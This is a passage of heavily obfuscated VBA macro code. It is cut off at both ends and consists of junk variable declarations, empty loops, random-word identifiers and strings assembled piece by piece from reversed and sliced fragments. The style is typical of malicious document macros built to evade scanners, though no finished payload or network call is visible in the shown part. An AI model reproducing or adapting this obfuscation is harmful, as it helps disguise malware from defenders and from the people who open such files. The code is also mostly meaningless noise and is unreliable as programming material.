StrReverse(\"mitsubishibandwidthcoolersoil\")\nifjuneservicecas = ifjuneservicecas + StrReverse(\"amit\")\nFor mandatefaundexcessban = 4234 To 4434\nDim cdtestatestylinkexpertiseprecisestarted As Object\nappliesnbaconsistsfolksvulnerablelabelsthresholddpi = LTrim(\"racebbsaliasthursdaymainefunnyappliedstudwidescreenplaylist\")\nNext mandatefaundexcessban\ncommissionindicatesbiosiemens = Space(46)\nifjuneservicecas = ifjuneservicecas + StrReverse(\"et\")\nDim anhughmassivenancypurchaseprevent As Variant\nDim securelydramaticjpgpulsecompilationseptembermoscoweatrxshorter() As Byte\nworkflowmindcallsbarbie = \"\"\nworkflowmindcallsbarbie = workflowmindcallsbarbie + StrReverse(\"atad\")\nDim delrabbitjoelcopiedviewedfallinclusiveindependenttexjudges As Integer\ndailypigcultproceedarcircuitscarriedconsiderable = Chr(202)\nworkflowmindcallsbarbie = workflowmindcallsbarbie + StrReverse(\"mylo\")\nseriouslycalvinchinajerrytrails = 3768\nDim airplaneopponentsrejectrecruitment() As Byte\nworkflowmindcallsbarbie = workflowmindcallsbarbie + StrReverse(\"ccip\")\nDim nobodysponsorssitemadstrengthsclassicspermalink() As Byte\ninterferenceassumesingleprogramsprofilesstanfordwalletdepthcapital = Not (907 > 463)\nworkflowmindcallsbarbie = workflowmindcallsbarbie + Mid(\"antonioexplorerparameterproductivebridesubtlegiftsspokennutritionomputmilfaudionaturalredheadspeciesleonletterhooknightlife\", 66, 5)\nDim elsewheresurgeonsluciarepeatroleshalifaxevpropeciaconference() As Byte\nDim undergroundfinallyencourageconnectedownsflowsdebian As String\nworkflowmindcallsbarbie = workflowmindcallsbarbie + StrReverse(\"are\")\ndrivesblackjackuserscoatedconnecticut = 752 Xor 996\nreproductiveoptionourwashlistenth = Array(\"byemusiciansfranklinbloodhealthcarevaliumchainsregulatory\", \"lemonpowerdgramsnevada\", \"childrenseffectivenesshatssettlement\", \"foolsparcnailmortgagesdistributeexcerptspiespostedwormnba\", \"designerynbikeselectiondildos\", \"cooklawyernotedemandsaccount\", \"paintballupgradessnapshotpicmetriccommercedesignatedlawncraftgirlfriend\", \"eachgeneralbuyersstandmenucattle\", \"momentumaluminiumrabbitgraphsbet\", \"njdiscountscompletedmalawicriteriaonephiladelphiasemester\", \"blacksconditioningstatutesopened\")\nworkflowmindcallsbarbie = workflowmindcallsbarbie + Mid(\"exclusivedemonstratedbeatsmentionexcitedloanupfairengineeringeostheglenexecutivestrainspriorquestionsilkmichellebriefsinsurancenaughty\", 65, 3)\nDim arrivesnslegislationfixfateopencustomizejsbrickul As Integer\nDim attackhreflangpinsrmfinanceshubhearingsbedrooms As Integer\nworkflowmindcallsbarbie = workflowmindcallsbarbie + Mid(\"willingsheetspaintballsadromanticnstragraceillustratedshowtimesfilepurchaseddarkmerelyconcern\", 34, 5)\nsuperioryearsexhibitionfavoriteshwristyards = Array(\"accordinglyvulnerableexpensivehugolyricsdepositsconsecutivecurrencymem\", \"sgbehalfdrivesirs\", \"nutsminneapolisinjuredspearsexcessahmachineryexactsimulations\", \"robertsonpublicationsreviewedchubbypotteroccupationaleducatedcitizensoperators\", \"nbadenyjustinaluminum\", \"wutontermmeaningful\", \"chargingtheaterstephenipgeneralposing\")\ndelegationrepresentdddomainspopeadmit = 299 Mod 662\nworkflowmindcallsbarbie = workflowmindcallsbarbie + Mid(\"creatorfishinggrantsfinancingbeliefidentificationsignsjakedisordersappearsdemipdaconventionaltightlocks\", 75, 4)\nincentivesshowersmetricreactions = LTrim(\"eecounterbrandsshowsbeverageeditorsarising\")\nveteransfiretueconsecutive = StrReverse(\"moonideasadvertiserssuggestcaribbeanraceseastersquirtrejectregime\")\nworkflowmindcallsbarbie = workflowmindcallsbarbie + StrReverse(\"gniss\")\nDim parentalhentaitarsuspendedsyntheticcountcopewarning As Object\nwhosharetranscriptspantsfashionafricanleondiagnosislostrailers = LTrim(\"solidmatingfollowedmtvcountsaccusedrailroad\")\nworkflowmindcallsbarbie = workflowmindcallsbarbie + StrReverse(\"aeb\")\nsenatorelectoraldipgrowrefbonsilent = 8244\n'portmastersweedelliscablesakruns\nworkflowmindcallsbarbie = workflowmindcallsbarbie + Mid(\"consultanthaveinneralivelandscapesprringdattemptingshallemployeefishingequippedhavenblues\", 37, 5)\nestimationcolesolelygossiptaylor = RTrim(\"dudeouterempirecooperationsenatorsthingsepisodeexpectedtuningsearching\")\nFor browsemobileslovingriverausjpcollaborativefavorsmallmaintenance = 1462 To 6261\nrequirementsdecadessalvadorphiladelphiadiabetesbobby = Not (731 < 4)\ndivineprincipalfactorslottrackbackunifiedimpressedtabstarsbright = LTrim(\"busyeggthongwi\")\nNext browsemobileslovingriverausjpcollaborativefavorsmallmaintenance\nworkflowmindcallsbarbie = workflowmindcallsbarbie + Mid(\"hotmailsuppliessnapcambridgeshorebuythickrelativelyimenassessrecipientswwcatsalarm\", 52, 4)\nDim fundingestimateconspiracyviennaprogramspharmaceuticaldisplaybanglicensed As Variant\nmerchantdemonstratesearnedcoursesheeradmithostelelementaryglobeinbox = LTrim(\"feelmoderaterichardemissionsamsterdamoffensepromophysicscorn\")\nworkflowmindcallsbarbie = workflowmindcallsbarbie + Mid(\"rationalmerchandisenoticeedtsionyeahcheapestkyuniaccompanying\", 29, 4)\nDim investlouisvillefistingcivilizationmeasurementhelpsblastkelkoocursordeposits As String\nDim physiciancustomizeclonehrefmarriageccphdsanyo As Object\nfancyarisingprincipalmembraneuniversity = \"\"\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + StrReverse(\"heeei\")\nRem solvingchallengingmaintainsleagueburkebureaubiddingcureroomear\naffiliatedcleanersmilfsreferencesmeannegativeharolddefines = 2831\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"returnedbranchesreligionneedleometoterroristheroesgirldominantconsensusrugs\", 31, 5)\nDim ddrvaluationlabordispatched As Integer\nyukonextensionlabourlouisianantcatherine = Chr(210)\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"memorialadaptorcouncilproxypctwnfsillypokemonhtmlcontinentstoredspiritsisbndemanding\", 31, 3)\nDim harderyogaadobelaboratory As Integer\nDim typesbrokewindwalksoonestmerelycableschema As Variant\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyzsteadywheatbbwplymouthixthaweedaircraftreproductiontrustedhunggarbage\", 75, 3)\ntravellervenezuelacoolselectionbattle = StrReverse(\"nursingviolinniagaraprofilerussiapanamalcd\")\nDim trusteescanningdesignsawaysirmime() As Byte\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"alarmmanoropenspasteamericansuresrecreationalwhatsinfectedremarksrecovery\", 30, 4)\nFor lsettlefellpatientclaimhiredaudience = 9191 To 3303\nDim longboughttripsloanoxideboroughmario As String\n'complianceupsetwannamuchsacramentoinitiallyobservationsearschemistryministry\nNext lsettlefellpatientclaimhiredaudience\nDim bridalarrangedcorporationsfocusingphil As Object\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"builtfrankfurtclausegaybirthdayspecificalreadysoldierindiaaccordingfloristsfictionringtoneelsewherenc\", 54, 5)\nrjempiricaldeanfraudinformed = 519 Mod 537\nFor sellersalongpassengerrtpostingparagraphbentbladesafghanistanactions = 5452 To 5078\ncostsgospelflagseternal = Chr(4)\nDim wirelesswebsitesreadersixthharder As Integer\nNext sellersalongpassengerrtpostingparagraphbentbladesafghanistanactions\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"assistancesubjectseastbeliefspredictionsgoatnacchangedsecureddrinksoperatescockscroll\", 45, 3)\ncwislammoveshawwarrantycumshotupsrsprotocol = Array(\"seventhoperationssourceexamswatchingacceptancefa\", \"earthquakesportsbeefmasterkeyvbbudapest\", \"marcdellbukkakeinsertconnectingefficientseekflorence\", \"meritinvestorsdigittravelsedinburghscotiafoundationoperastoredimport\", \"effectorientationcommitteesattemptedappearingelectron\", \"solvingletpsreportersregardsbridgenegotiationslifranciscoevans\", \"accusedguestsreservoirshareholderseveryoneguard\", \"colleagueboxesclaymarionharvardharvestyeahonioninput\", \"dynamicssaleenquirybuckstipblocksviewings\")\nsuggestedstagesluthervolunteersculturessatellitesaver = 1018 Mod 793\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + StrReverse(\"cudno\")\nDim reformlargepainfulflowermedelsetransexualesnewarksapphireworldcat As Variant\nhardcoreringwjasonpartnership = RTrim(\"joiningsyntaxnmpaceclearancecommunicationjulianbind\")\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + StrReverse(\"ekt\")\n'ohadamvariancecontinuityconcernedveterinaryyouthexcept\nseedsaftertechnicalemployeesmilkbombinvestinstitutionsupper = Array(\"youngreallandsglovesdefineoverseaslistingsrestpittuserrghhandheld\", \"loversbluetoothintegerasideitemsell\", \"anthropologyjewishyarnjpgearningherecompoundspredictionsminds\", \"graduatehairfiguresfluxemployerstittenii\", \"occasionexactcoveredbeanswiresrealizedprospectivecanarmyanymore\")\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"chinesepanelscharpaperbacksparticularlyadvisornyamessagesheriffpromisefibersurgeonscemeterymedia\", 47, 3)\nDim keypestterrainthrowinghiredcomicnitrogencultural As Integer\nconversionacttitlebitedownloadableprecisiongreenhousemechanicalfocusingsacred = Not (914 < 518)\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"insulinwindssurviveenablesacerankmoderatebrackdiscovereggapparentlyfundamentalscompliancecorrectioncommunications\", 42, 5)\nDim signaturevariousnewsloan As String\nDim yetprotectivestrangermandatorychristianssupposeclosed As Object\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"metdicksobligationwintidetrainedetstabradleyboredfounderfipioneer\", 33, 5)\nnoccasionalsuitedpartsbkunaprofilepharmaceuticalsfundingcox = Space(88)\nDim writtenfountainkarmaneighborsleonenaturalsnewfoundlandandersonelementary() As Byte\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"studytearsngscubalankabowlingunabledenyrprefworkcontinuedrockypainted\", 40, 5)\nmissingsuggestionsworldsloswifiwednesdaylogicalmedicaidchairada = Space(79)\nboysbasketsselectipaqpackard = Not (851 > 255)\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + Mid(\"underlyingdnsakexperiencescuttingbadgecuriousvarieswisconsinerenoughtqtyjulianalgeriaaffected\", 61, 4)\nworkergardeningmaybewillowdressmeanfluidlatelyqualificationsadipex = Chr(54)\nproudlybytesovietanswerslogicdispecifics = Array(\"relationsearchesupsexpiressolid\", \"masturbatingplayingretiredmomentumcircusdellsuspectsend\", \"entergourmetroughlycanvasnamelyguardianhawaii\", \"liablemarthaaddressserbiamakesagreesblame\", \"russellcontactseyedthursdayjayspec\", \"situationsalbaniadieszsouth\", \"portraitspaperqldcatslikedpeteholessheriffmoments\", \"kansasteachesoptimizerangers\")\nfancyarisingprincipalmembraneuniversity = fancyarisingprincipalmembraneuniversity + StrReverse(\"sec\")\nvitaminsbackgroundsgraylocaleblackjackterrainsingermiacheapknitting = StrReverse(\"stringusergsweddingsexpensespicnicinvestingfeature\")\ndtspanasonicgasolinesympathylevycustomise = RTrim(\"ceodashbenpeople\")\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = \"\"\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + Mid(\"dispharmaceuticalsmechanicaljoyceplanninginputcowboybluedishesimmigrationprotrecreationdiskzoomdatabasekenneth\", 74, 4)\nDim lyingratweeknarrativeprototypehospitalantibodieskimdudegoals As String\nDim coloredpredictionperryjewel() As Byte\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"itce\")\nboldsurfacesculturerouletteindirectpostcardlesbianalabamatreatmentvegetarian = Space(16)\n'windowsarrivesratgd\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + Mid(\"relaxvainjuriespresentingdemandingpcsondinvitationsdistrictsdiscountsgiftssurprisingattractivemetalssupplementuivoters\", 38, 3)\nDim terrorismmathotcitizenshipbeforeadvisorprayersncleatheradmit As Boolean\nDim reunionutahcurvesctrlpassingclothesparallel() As Byte\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"tne\")\nseveralpassagealignasciibolivia = Space(86)\nDim resolutionstrengthenvibratorsrequiringmorningfolksexpansionpearlslotsschema As String\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"tsi\")\nbufscenicmedlineanywherejuan = Chr(92)\ndestroyedratiossustainableprocessorsinn = StrReverse(\"enterpriseprofessionalmanagecombiningfinest\")\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + Mid(\"fccfestivalschinaassistaccuratelyzspeakersworkplaceswildeparturedakotacommissionsvoltipceoschema\", 52, 4)\nfacesduoeasedroprepeatedfitted = RTrim(\"tourisminlineinlinebases\")\ntunesintendmarkersstedeliveredwashergenre = Space(98)\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"xenos\")\njcarlichitsdescendingpolymertranscriptpresentlyrestrictedwed = Chr(6)\nbarsclinicalenbkdequantumundofascinatingmadridcallsactivities = Not (398 < 742)\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"atcep\")\ncodsurvivalholidaypariscyprusdelete = Not (435 > 667)\nFor chronicforeststhreatenedadobesaskatchewantrinidad = 1148 To 8039\nDim deathmovesyorkshiretreatmentsolionlocallymetric As String\nlogreceivingseengossipmainlandtwinsworkplacepodcastsdevotedcooking = 222 Xor 448\nNext chronicforeststhreatenedadobesaskatchewantrinidad\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + Mid(\"somehowceilingregistrationandrewreviewedtiofinalsrarelywavestopequationassumption\", 41, 3)\nDim happencasinoitmaxintimategiving As Boolean\nlistenvesselsfireabguys = Not (746 < 729)\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"ersn\")\nbenchterrorismmitblockranchbeef = StrReverse(\"theoremfunctiondelayedtranslationhighlights\")\nFor diarylocationsweblogmatingquery = 9303 To 9790\nsuckdiversityglovesexactfoundedpounds = Space(22)\nheadedtumorshaftpatioobtainchassisrespondedacceptssurprisednotification = 4667\nNext diarylocationsweblogmatingquery\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"cilp\")\nDim tissuesewingaccentcarsjourneykarenprocessorshandbagsportuguese As String\nwyomingeffectiveconsistcontactedclosedskypebiology = Not (827 > 240)\noxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon = oxforddestinationsnewestgilotusbillionphysiciancorruptiondevelopmentbacon + StrReverse(\"a\")\ngraddanielzupiecepoliciesyachttapeshumanstravis = RTrim(\"fortyhawkdollarattemptingunsignedchocolatesalessecondaurora\")\nDim ottawaicjacobframesevanescencebuildtrickstftmyrtlejournals As Object\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = \"\"\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + Mid(\"brushsourcessansbibliographicmixingsillydownloadedweekendsstrucktreaguardfujidevotedtrinidadprecipitation\", 65, 4)\noptionalbaniajanuarymuseumsministersshelterdoesemissionspopulationdale = 8004\nDim begunsigntoldblocksabroadstress() As Byte\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + Mid(\"strugglerushamericasignaturessurcriticalxxclimatenhsacredatlanticlovesstep\", 30, 3)\nRem kingpacketfreshundauroraoscarcompromisepromisesfdconfigured\nDim endlessalbumdivcardiacbelowimmigrants As String\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + StrReverse(\"sube\")\nDim dicespendmerryvgtexturepacketopinionplanetscene As Object\nplannerdubaiinviteformattinghelpfulndwatchskinveterans = 554 Xor 882\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + StrReverse(\"seni\")\nDim worshiptremendouslistswitchesot As Object\nDim sportlocaleactivemetacostaheading As Boolean\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + Mid(\"heardpediatricbrooklynhorizonmeasurementpolicycompaqfilenamesesliscottdoormusclesfavourfacing\", 61, 5)\ndvfriendsdansdeutschebulgariarider = Chr(39)\nRem calendartiressingexamplesancient\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + StrReverse(\"lek\")\nslightlysaddamtimothygmpulledtaiwan = 507 Xor 527\ngirlfriendunaseekercircuits = Space(74)\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + Mid(\"keithhuexperimentsredeemheroeslecturedirtihoodorganizedthuprocchargerelectronicapollo\", 42, 5)\nrayspendingscanningstanfordryanbr = Array(\"capabilityagriculturedifferenceshumancalendar\", \"failureharmplchungarianplanner\", \"handheldsartsortbachelorarchitectassistancechronic\", \"openapietguaranteematthewbegunmrsdecimalflowerschassis\", \"housingrecyclingimportscongratulations\", \"hischemesgovernancejuanpetsutahdevelops\", \"potteryevolutionkerryrica\", \"threatsdetailoutlinecodeantonio\", \"guaranteesartistfullstylesdesigningguardssurgicaltechniquessensor\", \"shoppingfinancesguardianhobikinidrugs\", \"davisnecwarehousehighlyrimlocalringtoneboringbagot\", \"flyercolonialdiscountvirgincumdeniedterrorfoocents\", \"atacloseshundredentrancenicoleprotectedmajoritysaints\")\nDim piercebranchryanrelianceseniorsvalued As String\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + Mid(\"assessmentflagdesertezmariehampshiregibraltarcommactivedecidedofficerresearchercontactinggmcmartboutiqueeconomic\", 46, 4)\n'popularityeuropeanenableoccupational\npursearthritiscriticsstep = Array(\"whaledelawarehybridcached\", \"grillpicsmacromediafreedomskillsheelglen\", \"hackerflofflinetwistorganisation\", \"prixswimremainschristianity\", \"stopexchangesdemonstrationfast\", \"novemberskatingalgebracommentaryaims\", \"unlikechicagoanatomypcsomaliaprogramtabsgooglereveal\", \"everybodygbpanalrockycivilizationboredagainstwcbaghdadfaculty\", \"adaptertemplateslowsacceptsthirtysixstandingsgeneratedaccordingpassing\", \"cancelledfansfilenamenotedeveningcartooninteractnonprofit\", \"fantasyconcerningpossessstatedleedscorpussevenregionseconomicoo\")\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + Mid(\"dontvaccinewolfpeasgigreliableprovedboobittelossesholdemexistdaytonartworkputownerhollyrighttales\", 41, 4)\nnegativequarterscharacterizednorthdies = Not (857 < 2)\n'peripheralsfurthermorecartridgesaviationgordontelechargerfestivalsshopzillafundraisingsmith\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + StrReverse(\"usd\")\nDim cdtjennywantingabandonedpassengershosted() As Byte\n'usedespeciallymilfgeneratinglevitraconditioningfactsinsertionborn\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + StrReverse(\"tcejb\")\nFor layerlihudeclarationdreamyarn = 1206 To 4305\nemeralddebtdemonstrationrangingcruisesstage = StrReverse(\"fingeringharbordemenabledcarllesserbasketsperceptionone\")\nDim maximizeasbestoselectronicsasnmotorcyclesinclusive() As Byte\nNext layerlihudeclarationdreamyarn\ncharitableearthlampsectiongeneratorswarriorsexhaustapplianceboltedit = Array(\"sucksjewishrapidsbeastalityspeakerswrongmontgomeryalertslpinclusion\", \"liableracialswapbrowsinghumanitarianhierarchy\", \"livecamwindowsvalleydefininglecturegammapolyesterdespite\", \"clarkportraitsfunnyreedstationdespitetomassetsscoresnest\", \"pjrallynewmannotifications\", \"junkencyclopediaconsciousguidelinesmainstreamcambodiadonate\", \"insteadnokiaebooksia\", \"exactpatientsvoterepositoryalternativelyhebrew\", \"summitanythinggotprotectedportionsdeepapplicablejeepintegrity\", \"bottomweblogsbradianreservoircausedxboxlosses\")\noffsetcottonzincmarionscholarshipdamagemiceherbalsb = offsetcottonzincmarionscholarshipdamagemiceherbalsb + StrReverse(\"evi\")\nfydateszopecf = Not (505 > 1002)\nDim earlyblastnhlorganize As Variant\nkeenouttroutpurposeoliverpictureazchorusnail = \"\"\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + StrReverse(\"rpmi\")\nyemenremaininganimationroverchapter = Chr(39)\nDim interviewequalprivacytransitviipurchasingoopsbmwblowing As Boolean\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + Mid(\"genetechnologygmcobligationsimaginationjacksonovingplaceequallyjoancheckoutwebmasterlessons\", 47, 5)\ndatabasesencyclopediaspankarnoldmixermobilesproteinwalkercolumnsfemale = Space(59)\nRem collinsvirginiamachinesfaqsfatherskins\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + Mid(\"simulationcreaturescreensaverkitchenmeetingsextensivebattlefieldserialcreambiminescurvesmedaleffectivenessdaleacquisitionpioneerautomatic\", 71, 5)\nsprintunsignedsmtpbufingbronze = Not (661 < 191)\nhollywoodriskcoordinatedflowerdetailsjudicialdebate = 312 Mod 287\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + Mid(\"conductedprogramsromejudgessubiethesauruspennypolaradaptationdmcoordinate\", 42, 5)\nsenderspotshungercole = 1016 Xor 269\noptimalinvasionallowsholmeschainrtoner = RTrim(\"optimalleadershippentiumauditor\")\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + StrReverse(\"opser\")\nDim symbolslayerpokemonrougemenustaiwanscrich As Integer\nDim drawmilkmoviesppmlonglineartankvictimsojoin As Boolean\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + StrReverse(\"bisn\")\nyesalastationsleavingstrikessilicon = StrReverse(\"designationvibratorhousemediabydetail\")\nmidnightcontinuedmerexeroxbrieflybinary = Array(\"latexcommitteddrumformal\", \"diametercouncilnelsonnearestmicrophoneretaintwinslegislatureautosreducing\", \"providedamenitiesmoversasthmautclcdpaypal\", \"completefieldsforestryintroductiondijacksoninterface\", \"vampirebeamerrorsbibliography\")\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + Mid(\"arrangedgenderoriginkathydamagefranklinrecommendbladenewfoundlandilitscopebloggerschangedplantsrankslasstanding\", 66, 4)\nDim fewgaycapitolrowelectrichenry As Integer\nDim shopperbenjamingamespotcat As Variant\nkeenouttroutpurposeoliverpictureazchorusnail = keenouttroutpurposeoliverpictureazchorusnail + Mid(\"trunkattackothersannotationaginghumanitiesjayretaincaseyresolutionygapsinfectedpresidentcombiningrelationshipsinnovativetigermartialtotally\", 67, 1)\nDim lycospaypalbeebizfollowinghighlycetpanelsrelated As Variant\nmozambiquedirtislamicmysimontextownreedmtpocketsentrance = Not (996 > 380)\nconscioussamagainstfeeimprovelookopponentdayton = \"\"\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + Mid(\"photographictagradswingersmilredogcottageinjuryfirewallghzgrenadareccreaturesrelax\", 27, 5)\nDim importedtigersteeringmeditationordinanceadoptedhull As Variant\nelvisspiritunlockfdsoonestprizepopeoptsupposed = Not (410 < 886)\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"cirts\")\nDim uzbekistanherbquiptfeedbackvidentitysymptomsprepespecially As Boolean\nDim fairlywattstereodamnfranchiseconsultantshelloquantityresetstrand As Variant\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + Mid(\"runningcopyrightsagesadjacentbedroomplantperiodictreticketsvesselsfioricetitalianbyetraininglimitcharacterized\", 50, 3)\nphoenixtransformbryanttripumpadmittedinfraredgatherbarneshs = Chr(54)\nDim damageseaspromisinginducednewervotingbelize As Boolean\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"rmeed\")\nDim sclexmarkfisheriespdas As String\npacificprocurementosreligiousteeth = Space(42)\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"riuqe\")\n'newfoundlanddonepgptripledec\n'colorhairwarnedstrapdirectorsgrown\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + Mid(\"performedinvestigationscheesesimilarlysafelyorganizationsjamesgnomereviewingesradoptedmineralsendlimits\", 77, 3)\nRem weightscoachingthankhoursurpluscoatedcourtswelfareshuttlenudist\nbusyaustinshallheadquarterscanyonenableshopliabilitymuseumsaffected = Not (84 > 272)\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"rato\")\ntightpapersministrypreciousfunklan = Not (422 > 639)\nedgartulsatonysvshitsubsequentlyfeaturescreamoutsourcing = RTrim(\"intelligenceprocurementquestionnairenervous\")\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"nocy\")\narkansasintentconsidersrevealsconsecutiverespiratoryhelenotherwise = Not (646 > 815)\nDim sendervaryingproceduresdealeraccompanying As String\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"isuf\")\nwinnerscrowncaptainnevadabarnesthrowlinkingperry = StrReverse(\"hendersonchiaaainvestigateistanbul\")\nmassachusettsverizonmaintainingkentbringingh = Array(\"antibodybrooklynthanksgivingapproximatelylandinggaragecvenoughrising\", \"aimstitaniumincludesadvantagereplace\", \"drivesmacromedialimesheriffrelatescolonial\", \"manualoecddeadlyexhibitionsoffset\", \"dubaicriterionsoundshighlyadministratordomainsbettingfreedoorexistence\", \"looseyeslistingsmetadatauzbekistansalariesconnectedbetharrangedadministrator\", \"uniquemarshlitethreatsatellitemailcaseguestslampmercedes\", \"hittingtiedparkslivestock\", \"feelingproteinenvironmentaltailbasketav\", \"graduationcarriersminorbearsuitesreservespecializingbryant\", \"choicessoceffortobjearth\", \"releasesstickymarriottflexdickstigersmastercardpreservationwayne\")\nconscioussamagainstfeeimprovelookopponentdayton = conscioussamagainstfeeimprovelookopponentdayton + StrReverse(\"no\")\n'basketsutconstantquestionsgenomenovdaviddollarsubmissions\nDim anybodykennethlifetimemappinghillswaketueoutsourcingenterscommodities As String\nchangingperiodroutehopes = \"\"\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"hereininformationshoppersnaturallyrecentplotsreducperceivedhungerintelligencecastlefilters\", 46, 5)\nrecommendmadnesssenegalcreekcoordinatedkeyparticipanttidecoordinatein = LTrim(\"gemwrittenuniwisereliablerecordingchemistry\")\nRem workermicrelatevendorchriststemmetsubmittingtrading\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"noit\")\nmilitaryshopamountsbocnnattendingcooperationportsmouthprogrammer = RTrim(\"marinepreferencetelephonepremiumrogernewerdaretookadaptation\")\nRem killingsimcoatblanketinvestigatorhandledtft\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"widescreencenturiessummitefficiencyharvardnuclearimportedssettnursewolfyarnshirtsisterspublishersbaseballpublisherachievements\", 58, 5)\nvesselsadjustliabilitychamberfuturesviapostersubmittingsimilarly = LTrim(\"nortonroddifferentdurationmexicoscenariocomputers\")\nDim pastordebtseppointjaniceimportedsagemshuttle As Variant\nchangingperiodroutehopes = changingperiodroutehopes + StrReverse(\"del\")\nDim questionpresentedmpegcompareanywherereliefnoethiopia() As Byte\nopponentsstockbladesfallingvillagamingjakerobertrabbitmitsubishi = Space(87)\nchangingperiodroutehopes = changingperiodroutehopes + Mid(\"insulationpaymentsorganismsattachmentspromoteshondaactiveontariodetectgroundsregulinquiriestonysameinstallationrequiresamoa\", 78, 5)\nFor marketplacegovernmentscorrespondingmildemocracydifferencepraguepastepdascoins = 2082 To 6270\nimprovementfavouritesgiallowancebiddingstored = 647 Xor 809\nFor urbanworkstationfemaleservaultperspectivesboobspichunter = 9967 To 